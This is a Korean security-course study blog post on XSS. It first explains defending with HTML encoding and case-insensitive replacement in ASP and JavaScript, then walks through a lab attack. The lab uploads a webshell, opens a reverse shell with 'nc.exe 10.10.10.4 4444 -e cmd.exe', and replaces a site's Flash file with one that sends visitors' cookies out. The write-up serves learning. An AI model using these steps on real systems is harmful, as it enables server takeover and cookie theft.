25일차 XSS webshell
* 본 게시물의 내용은 수업에서 배운 것을 정리한 것이므로 악용해서는 안됩니다.
게시된 내용들은 잘 알려져있는 기술들입니다. 따라서 악용하더라도 쉽게 적발되니
절대 악용해서는 안됩니다.
--------------------------------------------------------------------------------------------
* XSS
직접 공격대상에게 스크립트를 전송하는 것이 아니라, XSS 취약점이 있는 곳을 찾아 스크립트에 노출되게 한다.
이번엔 방어를 해보겠다.
스크립트를 실행하기 위해서 사용하는 태그들을 html 인코딩 시켜버리면, 작성은 되지만 실행은 안되는 형태로 변형이 가능해진다.
인코딩해서 저장하면 인코딩된 내용이 db에 저장된다.
게시글을 읽을때 인코딩하는 방식은 db에 저장된 내용은 인코딩된 내용이 아니지만 db에서 불러와 사용자에게 전달해주기전에 인코딩 하는 방식이 있다.
장단점이 있다.
db에 저장될때 인코딩하는 것은 불러올 때마다 인코딩 할 번거로움이 없어지고
전달해주기전에 인코딩 하는 방식은 SQL 인젝션으로 쉽게 우회하는게 방어가 된다.
요즘 서버가 성능이 뛰어나니 후자가 더 낫다고 판단된다.
먼저 게시글을 읽을때 인코딩 하는 방식을 살펴보겠다.
게시글을 볼 때 사용되는 asp를 찾아서 연다.
asdfasdf 문자열에서 df를 qw로 변경한다는 함수이다
strContent 에 <script>가 있으면 <script>로 바꿔라는 명령
위에 사진에는 ""가 있는데 strContent에 ""가 있으면 안된다.
다시 변수에 넣어주고. 닫힌 태그도 추가해준다.
이렇게 바뀌게된다.
우회는 다양한 방법이있다.
replace는 대소문자를 기본적으로 구분하기 때문에 대소문자를 섞어서 써주면은 간단하게 우회가 된다.
이를 막기위해서
replace에 대소문자를 구분하지 말라는 옵션을 줘야한다.
1 첫번째 글자부터 찾아라
-1 전부다 바꿔라
vbBinaryCompare : Binary 값을 비교하라 대문자 소문자가 2진수값이 다르기 때문에 구분해버린다. vbTextCompare로 설정하면 대소문자 구분을 하지않는다.
이렇게 해준다.
</script> 도 마찬가지로 해준다.
이런식으로 html 을 다막는 방법도 있다.
자바스크립트는 아래와 같다.
var str = "Mr Blue has a blue house and a blue car";
var res = str.replace(/blue/g, "red");
The result of res will be:
Mr Blue has a red house and a red car
Perform a global, case-insensitive replacement:
var str = "Mr Blue has a blue house and a blue car";
var res = str.replace(/blue/gi, "red");
The result of res will be:
Mr red has a red house and a red car
* action 스크립트를 활용한 XSS
XP C드라이브에 복사
원본 플래시를 악의적인 스크립트가 포함된 플래시로 바꿔치기를 할 계획이다.
파일 업로드 취약점을 이용해 플래시를 다운받을 것이다.
확장자를 이용한 필터링을 안하면 악성코드를 올릴 수 있게 된다.
Webshell을 업로드해 운영체제 제어권을 넘겨 받은 후에, tftp로 플래시를 전송하게 할 것이다.
nc11nt로 백도어를 하고,
Flash로 플래시를 편집해서 다시 올릴 계획이다.
타겟이 되는 웹사이트의 플래시를 찾고
소스를 찾는다.
후 파일을 올릴 수 있는 게시판에 가서
안올라가서 스냅샨 돌린후에 글을 다시 작성해서 글 내용이 달라졌지만, 어쨌든 올라간다.
실행이된다.
타겟을 확인후에
nc를 테스트해본다.
백트랙에서 1234 포트로 열고 기다리고
xp에서 nc로 접속한다.
백트랙에서 채팅처럼 서로 연결이 된 것이 보인다.
BackDoor
Inverse Telnet
Reverse TCP (Connection)
연결 순서가 반대로 되있는 텔넷 연결.
원래 쉘을 제공해주는 서버가 포트를 열고 기다리고 쉘을 이용해야하는 사용자가 연결 요청을 하지만
Inverse는
쉘을 이용해야하는 사용자가 포트를 열고 기다리고 쉘을 제공해주는 서버가 연결 요청 하는 식이다.
nc 옵션에서 -e 연결 후에 파일을 실행한다. 입력해야하거나 출력되는 값이 있으면 연결된 상대에게 넘겨준다.
-e 옵션을 테스트 하기 위해 c파일을 하나 만들어본다.
입력값을 받아 출력시키는 C다.
컴파일하고 테스트해본다.
입력값이 출력된다.
이런식으로도 가능하게 된다.
nc파일을 업로드 하고,
절대경로를 확인한다.
후에
xp cmd에서 포트를 열고
Webshell에서 c:\Inetpub\camel\board\upload\nc.exe 10.10.10.4 4444 -e cmd.exe를 실행
그럼 접근이 된다.
tftp 서버를 준비해놓고
자료를 받아오게 된다.
받은 파일을 옮기고
폭 높이 확인.
sendcookie.as 를 복사한다.
주소를 수정하고, 이러한 스크립트가 들어있는 플래시 파일을 만들 것이다.
아까 확인한 폭과 높이로 액션 스크립트가 적용된 swf파일이 만들어지게 된다.
다시 swf 툴 폴더에 복사해와서 main_flash 와 sendcookie를 합쳐주면 되겠다.
이 두개를 말이다.
swfcombine -o flash.swf -T sendcookie.swf main_flash.swf
백도어 환경에서
기존 main_flash 파일 확장자를 바꿔주고
tftp로 액션 스크립트가 포함된 flash.swf를 main_flash.swf로 바꿔서 다운받는다.
그러면 메인 홈페이지에 있던 플래시가 내가 만든 액션 스크립트가 담긴 플래시로 변조되게 된다.
게시판에서도 활용이 가능하다.
이걸 보는순간 쿠키는 전송되는것이다.
아래는 명령어들 정리해둔 파일이다.
'정보보안' 카테고리의 다른 글
27일차 CSRF, SQL BASIC (0) | 2017.03.16 |
---|---|
26일차 CSRF (0) | 2017.03.15 |
24일차 인증공격 XSS (0) | 2017.03.13 |
23일차 웹보안 정보수집 OWASP (0) | 2017.03.10 |
22일차 웹보안 HTML (0) | 2017.03.09 |